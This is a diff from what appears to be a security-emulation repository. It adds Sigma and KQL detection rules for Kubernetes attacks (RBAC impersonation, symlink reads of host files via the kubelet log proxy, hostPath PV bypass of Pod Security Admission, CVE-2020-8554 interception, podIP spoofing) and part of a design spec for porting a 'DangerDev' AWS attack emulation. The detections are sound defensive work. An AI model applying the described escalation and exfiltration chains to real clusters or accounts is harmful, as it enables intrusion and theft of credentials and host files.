`emulations/k8s_rbac_impersonation/detections/kql_t1548.kql` + +- [ ] **Step 1: Create sigma_t1069.yml** + +```yaml +title: Kubernetes RBAC Permission Enumeration via SelfSubjectRulesReviews +id: a1b2c3d4-1111-4aaa-b111-aaaaaaaaaaaa +status: experimental +description: | + Detects creation of a SelfSubjectRulesReview resource, which allows a caller + to inspect their own RBAC permissions without triggering wildcard discovery + alarms. Attackers use this to confirm impersonate rights before escalating. + Emulated by MayaTrail k8s_rbac_impersonation (Phase 1). +references: + - https://attack.mitre.org/techniques/T1069/ + - https://kubernetes.io/docs/reference/access-authn-authz/authorization/#checking-api-access +author: MayaTrail Security Research +date: 2026/06/28 +tags: + - attack.discovery + - attack.t1069 + - kubernetes +logsource: + product: kubernetes + service: audit +detection: + selection: + verb: create + objectRef.resource: selfsubjectrulesreviews + objectRef.apiGroup: authorization.k8s.io + condition: selection +falsepositives: + - kubectl auth can-i --list invocations from legitimate users + - RBAC auditing tooling (e.g. rbac-lookup, kubectl-who-can) +level: medium +``` + +- [ ] **Step 2: Create kql_t1069.kql** + +```kql +// k8s_rbac_impersonation — T1069: Permission Groups Discovery +// Detects SelfSubjectRulesReview creation used to enumerate a service account's +// own RBAC permissions prior to an impersonation attempt. +// +// References: +// https://attack.mitre.org/techniques/T1069/ +// https://kubernetes.io/docs/reference/access-authn-authz/authorization/ + +KubernetesAuditLogs +| where TimeGenerated > ago(1h) +| extend log = parse_json(AuditLog) +| where tostring(log.verb) == "create" +| where tostring(log.objectRef.resource) == "selfsubjectrulesreviews" +| where tostring(log.objectRef.apiGroup) == "authorization.k8s.io" +| project + TimeGenerated, + CallerUser = tostring(log.user.username), + CallerGroups = tostring(log.user.groups), + SourceIP = tostring(log.sourceIPs[0]), + ResponseCode = toint(log.responseStatus.code), + AuditID = tostring(log.auditID) +| extend AlertTitle = "Kubernetes: SelfSubjectRulesReview — potential RBAC enumeration" +| order by TimeGenerated desc +``` + +- [ ] **Step 3: Create sigma_t1548.yml** + +```yaml +title: Kubernetes API Request with User Impersonation Headers +id: b2c3d4e5-2222-4bbb-b222-bbbbbbbbbbbb +status: experimental +description: | + Detects Kubernetes API requests where the caller uses the Impersonate-User + or Impersonate-Group HTTP headers to assume a higher-privileged identity at + request time. Unlike RoleBinding changes, impersonation leaves no RBAC + configuration trace — the original caller is recorded only in the + impersonatedUser field of the audit log. + Emulated by MayaTrail k8s_rbac_impersonation (Phase 2). +references: + - https://attack.mitre.org/techniques/T1548/ + - https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation +author: MayaTrail Security Research +date: 2026/06/28 +tags: + - attack.privilege_escalation + - attack.t1548 + - kubernetes +logsource: + product: kubernetes + service: audit +detection: + selection: + impersonatedUser.username|exists: true + responseStatus.code: + - 200 + - 201 + filter_system: + impersonatedUser.username|startswith: 'system:' + condition: selection and not filter_system +falsepositives: + - Cluster operators legitimately using kubectl --as for administrative tasks + - CI/CD systems that use service account impersonation for multi-tenant deployments +level: high +``` + +- [ ] **Step 4: Create kql_t1548.kql** + +```kql +// k8s_rbac_impersonation — T1548: Abuse Elevation Control Mechanism +// Detects Kubernetes API requests that succeeded while using impersonation headers, +// where the impersonated identity is not a system: built-in account. +// +// References: +// https://attack.mitre.org/techniques/T1548/ +// https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation + +KubernetesAuditLogs +| where TimeGenerated > ago(1h) +| extend log = parse_json(AuditLog) +| where isnotempty(tostring(log.impersonatedUser.username)) +| where not (tostring(log.impersonatedUser.username) startswith "system:") +| where toint(log.responseStatus.code) in (200, 201) +| project + TimeGenerated, + OriginalCaller = tostring(log.user.username), + ImpersonatedUser = tostring(log.impersonatedUser.username), + ImpersonatedGroups = tostring(log.impersonatedUser.groups), + Verb = tostring(log.verb), + Resource = tostring(log.objectRef.resource), + Namespace = tostring(log.objectRef.namespace), + SourceIP = tostring(log.sourceIPs[0]), + ResponseCode = toint(log.responseStatus.code), + AuditID = tostring(log.auditID) +| extend AlertTitle = "Kubernetes: Successful API call using impersonation headers — privilege escalation" +| order by TimeGenerated desc +``` + +- [ ] **Step 5: Commit** + +```bash +git add emulations/k8s_rbac_impersonation/detections/ +git commit -m "feat: add T1069 and T1548 detection rules for k8s_rbac_impersonation" +``` + +--- + +### Task 7: Detection files for k8s_writable_log_escape + +**Files:** +- Create: `emulations/k8s_writable_log_escape/detections/sigma_t1609.yml` +- Create: `emulations/k8s_writable_log_escape/detections/kql_t1609.kql` +- Create: `emulations/k8s_writable_log_escape/detections/sigma_t1611.yml` +- Create: `emulations/k8s_writable_log_escape/detections/kql_t1611.kql` + +- [ ] **Step 1: Create sigma_t1609.yml** + +```yaml +title: Kubernetes Pod Exec — Container Administration Command +id: c3d4e5f6-3333-4ccc-b333-cccccccccccc +status: experimental +description: | + Detects exec access into a running pod container via the Kubernetes API + (pods/exec subresource). Attackers use pod exec to run commands inside + a compromised container, such as creating symlinks in writable host-path + mounts to set up host escape chains. + Emulated by MayaTrail k8s_writable_log_escape (Phase 1). +references: + - https://attack.mitre.org/techniques/T1609/ + - https://kubernetes.io/docs/tasks/debug/debug-application/get-shell-running-container/ +author: MayaTrail Security Research +date: 2026/06/28 +tags: + - attack.execution + - attack.t1609 + - kubernetes +logsource: + product: kubernetes + service: audit +detection: + selection: + verb: create + objectRef.resource: pods + objectRef.subresource: exec + condition: selection +falsepositives: + - Legitimate debugging sessions by cluster operators (kubectl exec) + - CI/CD pipelines running smoke-test commands inside pods +level: medium +``` + +- [ ] **Step 2: Create kql_t1609.kql** + +```kql +// k8s_writable_log_escape — T1609: Container Administration Command +// Detects use of pods/exec subresource, which allows running commands inside +// a container. An attacker exploiting a writable /var/log mount uses exec to +// create a symlink pointing to a sensitive host file before exfiltrating it +// via the Kubelet log proxy endpoint. +// +// References: +// https://attack.mitre.org/techniques/T1609/ + +KubernetesAuditLogs +| where TimeGenerated > ago(1h) +| extend log = parse_json(AuditLog) +| where tostring(log.verb) == "create" +| where tostring(log.objectRef.resource) == "pods" +| where tostring(log.objectRef.subresource) == "exec" +| project + TimeGenerated, + CallerUser = tostring(log.user.username), + Namespace = tostring(log.objectRef.namespace), + PodName = tostring(log.objectRef.name), + SourceIP = tostring(log.sourceIPs[0]), + ResponseCode = toint(log.responseStatus.code), + AuditID = tostring(log.auditID) +| extend AlertTitle = "Kubernetes: pods/exec — container command execution detected" +| order by TimeGenerated desc +``` + +- [ ] **Step 3: Create sigma_t1611.yml** + +```yaml +title: Kubernetes Kubelet Log Proxy Access — Potential Host File Exfiltration +id: d4e5f6a7-4444-4ddd-b444-dddddddddddd +status: experimental +description: | + Detects GET requests to the Kubernetes node proxy logs endpoint + (/api/v1/nodes/{node}/proxy/logs). If a container has mounted the host + /var/log directory and created a symlink to a sensitive file, a caller with + get rights on the nodes/proxy subresource can read arbitrary host filesystem + content through this endpoint. + Emulated by MayaTrail k8s_writable_log_escape (Phase 2). +references: + - https://attack.mitre.org/techniques/T1611/ + - https://sysdig.com/blog/how-to-detect-kubernetes-vulnerability-cve-2021-25741/ +author: MayaTrail Security Research +date: 2026/06/28 +tags: + - attack.privilege_escalation + - attack.t1611 + - kubernetes +logsource: + product: kubernetes + service: audit +detection: + selection: + verb: get + objectRef.resource: nodes + objectRef.subresource: proxy + requestURI|contains: '/proxy/logs' + condition: selection +falsepositives: + - Legitimate log collection agents that use the Kubelet log API + - Cluster monitoring tools reading container stdout logs via node proxy +level: high +``` + +- [ ] **Step 4: Create kql_t1611.kql** + +```kql +// k8s_writable_log_escape — T1611: Escape to Host +// Detects access to the Kubelet log proxy endpoint on a node. When a pod +// has mounted host /var/log and created a symlink to /etc/shadow or similar, +// this endpoint traverses the symlink and returns sensitive host file contents +// to any caller with nodes/proxy get rights. +// +// References: +// https://attack.mitre.org/techniques/T1611/ + +KubernetesAuditLogs +| where TimeGenerated > ago(1h) +| extend log = parse_json(AuditLog) +| where tostring(log.verb) == "get" +| where tostring(log.objectRef.resource) == "nodes" +| where tostring(log.objectRef.subresource) == "proxy" +| where tostring(log.requestURI) contains "/proxy/logs" +| extend RequestedPath = extract(@"path=([^&]+)", 1, tostring(log.requestURI)) +| project + TimeGenerated, + CallerUser = tostring(log.user.username), + TargetNode = tostring(log.objectRef.name), + RequestedPath, + RequestURI = tostring(log.requestURI), + SourceIP = tostring(log.sourceIPs[0]), + ResponseCode = toint(log.responseStatus.code), + AuditID = tostring(log.auditID) +| extend AlertTitle = "Kubernetes: Kubelet log proxy access — potential host escape via symlink" +| order by TimeGenerated desc +``` + +- [ ] **Step 5: Commit** + +```bash +git add emulations/k8s_writable_log_escape/detections/ +git commit -m "feat: add T1609 and T1611 detection rules for k8s_writable_log_escape" +``` + +--- + +### Task 8: Detection files for k8s_pvc_psa_bypass + +**Files:** +- Create: `emulations/k8s_pvc_psa_bypass/detections/sigma_t1211.yml` +- Create: `emulations/k8s_pvc_psa_bypass/detections/kql_t1211.kql` +- Create: `emulations/k8s_pvc_psa_bypass/detections/sigma_t1611.yml` +- Create: `emulations/k8s_pvc_psa_bypass/detections/kql_t1611.kql` + +- [ ] **Step 1: Create sigma_t1211.yml** + +```yaml +title: Kubernetes HostPath PersistentVolume Created — PSA Bypass Indicator +id: e5f6a7b8-5555-4eee-b555-eeeeeeeeeeee +status: experimental +description: | + Detects creation of a PersistentVolume with a hostPath spec. Pod Security + Admission (PSA) only inspects Pod specs at admission time and does not audit + the PV/PVC storage provisioning layer. An attacker can create a PV pointing + to a sensitive host path and later bind a pod to it, bypassing PSA baseline + and restricted policies entirely. + Emulated by MayaTrail k8s_pvc_psa_bypass (Phase 1). +references: + - https://attack.mitre.org/techniques/T1211/ + - https://kubernetes.io/docs/concepts/security/pod-security-admission/ +author: MayaTrail Security Research +date: 2026/06/28 +tags: + - attack.defense_evasion + - attack.t1211 + - kubernetes +logsource: + product: kubernetes + service: audit +detection: + selection: + verb: create + objectRef.resource: persistentvolumes + condition: selection +falsepositives: + - Legitimate cluster storage administrators provisioning storage + - Static provisioners creating PVs for NFS, local, or CSI drivers +level: medium +``` + +- [ ] **Step 2: Create kql_t1211.kql** + +```kql +// k8s_pvc_psa_bypass — T1211: Exploitation for Defense Evasion +// Detects creation of PersistentVolumes. In clusters relying on PSA, +// an attacker creates a PV with a hostPath spec to bypass pod-level +// security policies. Flag all PV creations for review, especially those +// where requestObject contains a hostPath field. +// +// References: +// https://attack.mitre.org/techniques/T1211/ + +KubernetesAuditLogs +| where TimeGenerated > ago(1h) +| extend log = parse_json(AuditLog) +| where tostring(log.verb) == "create" +| where tostring(log.objectRef.resource) == "persistentvolumes" +| extend requestObj = parse_json(tostring(log.requestObject)) +| extend HostPath = tostring(requestObj.spec.hostPath.path) +| project + TimeGenerated, + CallerUser = tostring(log.user.username), + PVName = tostring(log.objectRef.name), + HostPath, + SourceIP = tostring(log.sourceIPs[0]), + ResponseCode = toint(log.responseStatus.code), + AuditID = tostring(log.auditID) +| extend AlertTitle = "Kubernetes: PersistentVolume created — verify hostPath is not sensitive" +| order by TimeGenerated desc +``` + +- [ ] **Step 3: Create sigma_t1611.yml** + +```yaml +title: Kubernetes Pod Mounting PVC Bound to HostPath Volume +id: f6a7b8c9-6666-4fff-b666-ffffffffffff +status: experimental +description: | + Detects creation of pods that reference a PersistentVolumeClaim. When + combined with a PV that uses a hostPath spec (T1211), the pod effectively + mounts the host filesystem from an otherwise policy-compliant container, + achieving host escape (T1611). Correlate with prior PV creation events. + Emulated by MayaTrail k8s_pvc_psa_bypass (Phase 3). +references: + - https://attack.mitre.org/techniques/T1611/ + - https://kubernetes.io/docs/concepts/storage/persistent-volumes/#hostpath +author: MayaTrail Security Research +date: 2026/06/28 +tags: + - attack.privilege_escalation + - attack.t1611 + - kubernetes +logsource: + product: kubernetes + service: audit +detection: + selection: + verb: create + objectRef.resource: pods + filter_system_ns: + objectRef.namespace: + - 'kube-system' + - 'kube-public' + condition: selection and not filter_system_ns +falsepositives: + - Normal application workloads scheduling pods that use PVCs for persistent storage +level: low +``` + +- [ ] **Step 4: Create kql_t1611.kql** + +```kql +// k8s_pvc_psa_bypass — T1611: Escape to Host +// Detects pod creation outside system namespaces that references a PVC volume. +// When the bound PV uses a hostPath spec, this pod effectively mounts the host +// filesystem, achieving container escape despite PSA controls. +// Correlate with PersistentVolume creation (T1211) in the same session. +// +// References: +// https://attack.mitre.org/techniques/T1611/ + +KubernetesAuditLogs +| where TimeGenerated > ago(1h) +| extend log = parse_json(AuditLog) +| where tostring(log.verb) == "create" +| where tostring(log.objectRef.resource) == "pods" +| where tostring(log.objectRef.namespace) !in ("kube-system", "kube-public") +| extend requestObj = parse_json(tostring(log.requestObject)) +| extend volumes = requestObj.spec.volumes +| mv-expand Volume = volumes +| where isnotempty(Volume.persistentVolumeClaim.claimName) +| project + TimeGenerated, + CallerUser = tostring(log.user.username), + Namespace = tostring(log.objectRef.namespace), + PodName = tostring(log.objectRef.name), + PVCClaim = tostring(Volume.persistentVolumeClaim.claimName), + SourceIP = tostring(log.sourceIPs[0]), + ResponseCode = toint(log.responseStatus.code), + AuditID = tostring(log.auditID) +| extend AlertTitle = "Kubernetes: Pod with PVC volume created — correlate with hostPath PV for escape chain" +| order by TimeGenerated desc +``` + +- [ ] **Step 5: Commit** + +```bash +git add emulations/k8s_pvc_psa_bypass/detections/ +git commit -m "feat: add T1211 and T1611 detection rules for k8s_pvc_psa_bypass" +``` + +--- + +### Task 9: Detection files for k8s_external_ips_mitm + +**Files:** +- Create: `emulations/k8s_external_ips_mitm/detections/sigma_t1557.yml` +- Create: `emulations/k8s_external_ips_mitm/detections/kql_t1557.kql` + +- [ ] **Step 1: Create sigma_t1557.yml** + +```yaml +title: Kubernetes Service Created with ExternalIPs — CVE-2020-8554 Traffic Interception +id: a7b8c9d0-7777-4aaa-b777-777777777777 +status: experimental +description: | + Detects creation or update of a Kubernetes Service resource that includes a + non-empty externalIPs list. An attacker can set externalIPs to any public IP + address, causing kube-proxy to redirect cluster-internal traffic destined for + that IP to the attacker's pod (CVE-2020-8554). This enables interception of + DNS responses, database credentials, and API tokens flowing to external services. + Emulated by MayaTrail k8s_external_ips_mitm (Phase 1). +references: + - https://attack.mitre.org/techniques/T1557/ + - https://nvd.nist.gov/vuln/detail/CVE-2020-8554 + - https://kubernetes.io/docs/concepts/services-networking/service/#external-ips +author: MayaTrail Security Research +date: 2026/06/28 +tags: + - attack.credential_access + - attack.collection + - attack.t1557 + - kubernetes + - cve-2020-8554 +logsource: + product: kubernetes + service: audit +detection: + selection: + verb: + - create + - update + - patch + objectRef.resource: services + requestObject.spec.externalIPs|exists: true + condition: selection +falsepositives: + - Clusters that legitimately use externalIPs for LoadBalancer services on bare-metal + - MetalLB or similar controllers that assign externalIPs automatically +level: high +``` + +- [ ] **Step 2: Create kql_t1557.kql** + +```kql +// k8s_external_ips_mitm — T1557: Adversary-in-the-Middle (CVE-2020-8554) +// Detects Services created or modified with a non-empty externalIPs field. +// kube-proxy programs iptables rules for each externalIP, redirecting matching +// traffic to the service's endpoints — allowing an attacker to intercept traffic +// to arbitrary public IPs from within the cluster network. +// +// References: +// https://attack.mitre.org/techniques/T1557/ +// https://nvd.nist.gov/vuln/detail/CVE-2020-8554 + +KubernetesAuditLogs +| where TimeGenerated > ago(1h) +| extend log = parse_json(AuditLog) +| where tostring(log.verb) in ("create", "update", "patch") +| where tostring(log.objectRef.resource) == "services" +| extend requestObj = parse_json(tostring(log.requestObject)) +| extend ExternalIPs = tostring(requestObj.spec.externalIPs) +| where isnotempty(ExternalIPs) and ExternalIPs != "[]" +| project + TimeGenerated, + CallerUser = tostring(log.user.username), + Namespace = tostring(log.objectRef.namespace), + ServiceName = tostring(log.objectRef.name), + ExternalIPs, + Verb = tostring(log.verb), + SourceIP = tostring(log.sourceIPs[0]), + ResponseCode = toint(log.responseStatus.code), + AuditID = tostring(log.auditID) +| extend AlertTitle = "Kubernetes: Service with externalIPs — potential CVE-2020-8554 traffic interception" +| order by TimeGenerated desc +``` + +- [ ] **Step 3: Commit** + +```bash +git add emulations/k8s_external_ips_mitm/detections/ +git commit -m "feat: add T1557 detection rules for k8s_external_ips_mitm" +``` + +--- + +### Task 10: Detection files for k8s_pod_status_mitm + +**Files:** +- Create: `emulations/k8s_pod_status_mitm/detections/sigma_t1557.yml` +- Create: `emulations/k8s_pod_status_mitm/detections/kql_t1557.kql` + +- [ ] **Step 1: Create sigma_t1557.yml** + +```yaml +title: Kubernetes pods/status Subresource Patched — Pod IP Spoofing +id: b8c9d0e1-8888-4bbb-b888-888888888888 +status: experimental +description: | + Detects patch or update operations on the pods/status subresource. The status + subresource controls the authoritative endpoint data for a pod, including its + IP address. An attacker with patch rights on pods/status can change a pod's + reported podIP to their own container's IP, causing service endpoint controllers + to redirect traffic for the victim pod to the attacker. + Emulated by MayaTrail k8s_pod_status_mitm (Phase 1). +references: + - https://attack.mitre.org/techniques/T1557/ + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#referring-to-resources +author: MayaTrail Security Research +date: 2026/06/28 +tags: + - attack.credential_access + - attack.collection + - attack.t1557 + - kubernetes +logsource: + product: kubernetes + service: audit +detection: + selection: + verb: + - patch + - update + objectRef.resource: pods + objectRef.subresource: status + filter_controllers: + user.username|startswith: + - 'system:node:' + - 'system:serviceaccount:kube-system:' + condition: selection and not filter_controllers +falsepositives: + - Legitimate Kubernetes controllers (node controller, kubelet) updating pod status + - Custom operators that manage pod lifecycle and write status updates +level: high +``` + +- [ ] **Step 2: Create kql_t1557.kql** + +```kql +// k8s_pod_status_mitm — T1557: Adversary-in-the-Middle (podIP Spoofing) +// Detects patch/update operations on the pods/status subresource from callers +// that are not the kubelet (system:node:*) or kube-system service accounts. +// An attacker with this privilege can overwrite a pod's podIP field, diverting +// service endpoint traffic to their own container. +// +// References: +// https://attack.mitre.org/techniques/T1557/ + +KubernetesAuditLogs +| where TimeGenerated > ago(1h) +| extend log = parse_json(AuditLog) +| where tostring(log.verb) in ("patch", "update") +| where tostring(log.objectRef.resource) == "pods" +| where tostring(log.objectRef.subresource) == "status" +| where not (tostring(log.user.username) startswith "system:node:") +| where not (tostring(log.user.username) startswith "system:serviceaccount:kube-system:") +| extend requestObj = parse_json(tostring(log.requestObject)) +| extend NewPodIP = tostring(requestObj.status.podIP) +| project + TimeGenerated, + CallerUser = tostring(log.user.username), + Namespace = tostring(log.objectRef.namespace), + PodName = tostring(log.objectRef.name), + NewPodIP, + Verb = tostring(log.verb), + SourceIP = tostring(log.sourceIPs[0]), + ResponseCode = toint(log.responseStatus.code), + AuditID = tostring(log.auditID) +| extend AlertTitle = "Kubernetes: pods/status patched by non-system account — potential IP spoofing" +| order by TimeGenerated desc +``` + +- [ ] **Step 3: Commit** + +```bash +git add emulations/k8s_pod_status_mitm/detections/ +git commit -m "feat: add T1557 detection rules for k8s_pod_status_mitm" +``` + +--- + +## Self-Review + +**Spec coverage:** +- ✅ `technique_count` fixes in rbac_impersonation and writable_log_escape (Task 1) +- ✅ `phase_count` fix + `attack_path` update + T1611 mapping in pvc_psa_bypass (Task 1) +- ✅ Health-check polling in all 5 attack.py files (Task 2) +- ✅ pvc_psa_bypass Phase 3 (pod create + host read) in infra + attack.py (Tasks 2 + 3) +- ✅ external_ips_mitm Phase 2 (traffic interception) in infra + attack.py (Tasks 2 + 4) +- ✅ pod_status_mitm Phase 2 (traffic verification) in infra + attack.py (Tasks 2 + 5) +- ✅ detections/ for all 5 emulations: Sigma + KQL (Tasks 6–10) + +**Placeholder scan:** No TBDs or "similar to Task N" shorthand found. + +**Type consistency:** All `attack.py` files use `run(outputs: dict, region: str = "us-east-1") -> None`. All infra files export `vuln_instance_ip`. `_wait_for_simulator` is defined in each file (not shared — avoids creating a cross-file dependency where none currently exists). + +**One edge case noted:** Task 2 Step 3 and Step 4 (external_ips_mitm and pod_status_mitm attack.py files) also include the Phase 2 attack content, making them the final versions of those files. Tasks 4 and 5 only modify the *infra* files. This is correct — do not overwrite attack.py again in Tasks 4 and 5. diff --git a/docs/superpowers/specs/2026-06-14-dangerdev-emulation-migration-design.md b/docs/superpowers/specs/2026-06-14-dangerdev-emulation-migration-design.md new file mode 100644 index 0000000..0375f0b --- /dev/null +++ b/docs/superpowers/specs/2026-06-14-dangerdev-emulation-migration-design.md @@ -0,0 +1,352 @@ +# DANGERDEV Emulation Migration — Design Spec + +- **Date:** 2026-06-14 +- **Status:** Implemented + live-validated TWICE on 2026-06-15: (1) standalone (deploy 65 → 17-step attack exit 0 → destroy, zero orphans), and (2) through the **full Celery backend path** (deploy → readiness routed straight to READY_FOR_ATTACK → run_emulation_attack completed → destroy, zero orphans) on the worker's pinned pulumi-aws 7.11.1 + pulumi-tls 5.3.1. Uncommitted on `feat/dangerdev-emulation` pending integration. +- **Author:** Ayush Pathak (with Claude) +- **Repo target:** `MayaTrail/step1` branch `main` (`C:\Users\Ayush\Documents\mayatrail\step1`) +- **This file is gitignored** — it is a working spec/playbook and must NOT be pushed to GitHub. + +--- + +## 1. Objective + +Port the raw pipeline-generated **DANGERDEV** emulation +(`apt_pipeline` branch, `emulation_output/20260422_111749_DANGERDEV/`) into a +backend-compatible package at `step1/emulations/dangerdev/`, **faithful to the +real DangerDev threat actor's TTPs**, and prove compatibility with a real +deploy → attack → destroy run through the MayaTrail backend. + +This is the **first** of several emulation migrations. Its second purpose is to +establish (a) the repeatable migration recipe and (b) the minimal backend +generalization that future non-web emulations require. + +### In scope +- New package `emulations/dangerdev/` (MANIFEST, attack, infra, playbook, detections). +- One backend change: manifest-driven readiness gating in `apps/emulations/tasks.py`. +- One worker-image change: add `pulumi-tls`. +- Static validation + a paired live run. + +### Out of scope (for this first migration) +- Migrating AMBERSQUID / CODEFINGER / LUCR-3 (follow-on work, reuses this recipe). +- Automating the migration in the pipeline (separate effort; this spec feeds it). +- Any change to scarleteel's runtime behavior. + +--- + +## 2. Locked decisions + +| # | Decision | Choice | Rationale | +|---|----------|--------|-----------| +| 1 | First emulation | **DANGERDEV** | User selection. | +| 2 | Fidelity | **Faithful port + compat fixes; fidelity to the real APT is the tie-breaker** | Emulation/detection value lives in the real names + real TTP footprint. | +| 3 | Gap B — readiness gating | **Manifest-driven backend change** | Generalizes for all future non-web emulations; back-compatible. | +| 4 | Gap A — `pulumi_tls` keypair | **Keep keypair, add `pulumi-tls` to worker image** | Real DangerDev created EC2 key pairs + used RDP (T1021.001); preserve the footprint. | +| 5 | Resource naming | **Keep real/masquerade names static** | Backend deploys per-user-account + enforces one active stack per user, so the multi-tenant collision the suffix-rule defends against cannot occur here. Preserves masquerade fidelity + detection matches. | +| 6 | Verification | **Full live deploy + attack + destroy** | Highest confidence; requires gaps A+B resolved for real. | +| 7 | Live-run ownership | **Pair live: Claude drives commands, user approves each AWS-touching step** | | +| 8 | Spec location | `step1/docs/superpowers/specs/…` **gitignored** | Working artifact, not product code. | + +--- + +## 3. Backend contracts this package must satisfy + +From `step1/backend/apps/emulations/`: + +1. **Registry** (`registry.py`): scans `emulations/*/MANIFEST.py`, imports + `emulations..MANIFEST.MANIFEST` (a dict). Required keys: + `name, display_name, description, tier`. Recommends `schema_version`. Passes + **all** manifest fields through to the catalogue (so new fields like + `readiness` are surfaced automatically). Enumerates `detections/`. + +2. **Attack entry point** (`tasks.py::run_emulation_attack`): + `mod.run(stack.outputs, region=stack.region)` — `outputs` is a flat + `dict[str, value]` (secret outputs included, plaintext via `.value`). + stdout/stderr are captured and streamed to `EmulationRun`. No return contract. + +3. **Deploy → readiness → attack flow:** + - `deploy_emulation_stack` runs `pulumi up`, saves `stack.outputs`, then + **unconditionally** enqueues `poll_ec2_readiness`. + - `poll_ec2_readiness` currently hardcodes `stack.outputs["vuln_instance_ip"]` + + `GET http://ip:8080/health`; success is the **only** path to + `READY_FOR_ATTACK`. Missing IP → immediate `FAILED`. + - `EmulationAttackView` only triggers the attack when status is + `READY_FOR_ATTACK`. + +4. **Pulumi program packaging** (`tasks.py::_prepare_work_dir`): only + `Pulumi.yaml` + `__main__.py` are copied into the work dir. **`requirements.txt` + is never installed** — every third-party import in `__main__.py` must already + exist in the worker image. + +5. **Credentials/region:** `_assume_user_role(stack.owner)` → deploy runs in the + **enterprise user's own AWS account**; `aws:region` config = `stack.region`. + +6. **Concurrency:** `EmulationDeployView` returns 409 if the user already has a + non-terminal stack → **one active stack per user**. + +--- + +## 4. Compatibility findings & resolutions + +### Gap A — `pulumi_tls` not in the worker image (would crash `pulumi up`) +`infra/__main__.py` does `import pulumi_tls as tls` for the RSA keypair, but the +worker installs `pulumi-aws` only and never installs the emulation's +`requirements.txt` (see contract 4). +**Resolution:** add `pulumi-tls` to the worker image (work area 3). Keypair kept +for fidelity (decision 4). + +### Gap B — readiness gating mismatch (headline; would auto-FAIL DangerDev) +DangerDev is an IAM/credential-abuse scenario on a **Windows** host with no +`:8080/health` web app, and exports `ec2_public_ip` (not `vuln_instance_ip`). +Under the current flow it can never reach `READY_FOR_ATTACK`. +**Resolution:** make readiness manifest-driven (work area 2). DangerDev declares +`readiness: {"type": "none"}` → deploy goes straight to `READY_FOR_ATTACK`. + +### Gap C — runtime is pulumi-aws v7 (infra needs a v7 port) +The worker installs `backend/requirements.txt` = `pulumi==3.207.0`, +`pulumi-aws==7.11.1`, `pulumi-std==2.2.0` (no `pulumi-tls`). Because the +emulation's own `requirements.txt` is never installed (contract 4), **v7.11.1 is +the real runtime.** scarleteel's `>=6,<7` pin is documentary only — it runs on v7 +because it avoids deprecated args (uses `BucketV2` + separate resources). +DangerDev's infra uses the classic `aws.s3.Bucket` with inline +`server_side_encryption_configuration` / `versioning` / `lifecycle_rules` / +`logging` plus `aws.s3.BucketObject` — removed/deprecated on v7. +**Resolution:** port the S3 layer to v7 — `BucketV2` + +`BucketServerSideEncryptionConfigurationV2` + `BucketVersioningV2` + +`BucketLifecycleConfigurationV2` + `BucketLoggingV2` + `BucketObjectv2`; verify +`aws.guardduty.Detector(datasources=...)` on v7. Drive and confirm with +`pulumi preview` against 7.11.1 before the live run. + +### Gap D — hardcoded `us-east-1a` availability zone +`public_subnet` uses `availability_zone="us-east-1a"`, which breaks if +`stack.region != us-east-1`. +**Resolution:** region-derive it (`availability_zone=f"{region}a"`, matching +scarleteel). Natural live-run region is `us-east-1` regardless. + +### Gap E — env-var credential handoff + `subprocess` auto-trigger +Pipeline infra hands creds to the attack via `subprocess.Popen` + env vars +(`LEAKED_KEY_ID`, `LAB_OPERATOR_KEY_ID`, …). Backend uses `run(outputs, region)`. +**Resolution:** remove the auto-trigger; read the leaked-admin key from +`outputs`; use the leaked-admin session (not an env operator key) for the +self-cleanup steps (see §5.2). + +### Gap F — placeholder `adversaryAccountId` breaks real deploys (found in live run) +The infra defaulted the cross-account backdoor-role trust principal to +`config.get("adversaryAccountId") or "111111111111"`. AWS rejects a trust to a +non-existent account (`MalformedPolicyDocument: Invalid principal`), so +`pulumi up` fails on the two backdoor roles — and the backend deploy path would +hit the same error (it sets no such config). Pointing the trust at the real +documented adversary accounts would be *worse*: it creates a genuine admin +backdoor into a real malicious account. +**Resolution:** default `adversary_account_id` to the current account +(`account_id`) — a deployable, safe self-trust that preserves the masquerade +names + admin footprint. Side effect: the attack's Step 11 `AssumeRole` now +*succeeds* (self-admin) instead of the scripted AccessDenied — cosmetic, handled +gracefully. **Recipe note:** any future emulation with cross-account trust needs +a deployable, safe trust default (self-account), never a fake or real-malicious +placeholder. + +--- + +## 5. Work area 1 — `emulations/dangerdev/` package + +Directory: `20260422_111749_DANGERDEV/` → `emulations/dangerdev/` (clean slug). + +### 5.1 `MANIFEST.py` (synthesized) +Source: `phase0b_metadata.json` + `attack_plan.json`. Mirror scarleteel's +structure. Required + key fields: + +- `schema_version: 1`, `name: "dangerdev"`, `display_name` (e.g. "DangerDev"), + `description` (3-phase / 17-step AWS IAM-abuse + cryptomining + phishing-infra + campaign), `tier: "enterprise"`. +- UI metadata: `origin`, `tags`, `technique_count: 17`, `severity`, `aliases` + ("DangerDev@protonmail.me"), `attribution` (Indonesia, financially motivated), + `targets`, `incidents`/source (Invictus-IR DangerDev report). +- `attack_path`: 3 phases mapping the 17 steps: + - **Phase 1 — Initial Access & Persistence:** T1078.004, T1526, T1087.004, T1136.003, T1098.003 + - **Phase 2 — Discovery & Compute:** T1580, T1578.002, T1021.001, T1496 + - **Phase 3 — Persistence/Collection/Evasion/Phishing-infra:** T1036.005, T1199, T1098, T1530, T1518.001, T1070, T1583.001, T1566.002 +- `mitre_mappings`: one entry per technique (id, name, tactic, platform, + description) — author from `attack_plan.json` step descriptions + the inline + step comments in `attack.py`. +- `references`: Invictus-IR report + relevant MITRE technique pages. +- `phase_count: 3`, `estimated_duration_minutes`, `default_ttl_hours`, + `total_resources` (count actual Pulumi resources for the progress bar — + ~30+; finalize during implementation), `resources`, `resource_costs` + (static estimates: EC2 t2.micro, GuardDuty, CloudTrail, S3, Secrets Manager, + SNS, KMS). +- **`readiness: {"type": "none"}`** — the compatibility-critical field. + +### 5.2 `attack.py` (from `emulation_scripts/attack.py`) +Keep all 17 steps, the `CredentialStore`, the audit `_events` log, the masquerade +behaviors, and the static resource-name lookups **verbatim** (decision 5 keeps +names static, so lookups stay valid). Changes only at the boundary: + +1. Replace `main(target_info)` + `if __name__ == "__main__"` with: + ```python + def run(outputs: dict, region: str = "us-east-1") -> None: + ``` +2. Read the leaked-admin credentials from `outputs`: + `outputs["admin_access_key_id"]`, `outputs["admin_access_key_secret"]` + (replaces `LEAKED_KEY_ID` / `LEAKED_SECRET_KEY`). Raise `RuntimeError` if + absent (replaces `sys.exit(1)`). +3. Thread `region` through `make_session` / `boto_client` defaults and every + explicit `region_name="us-east-1"`. +4. **Self-cleanup (Step 15 + 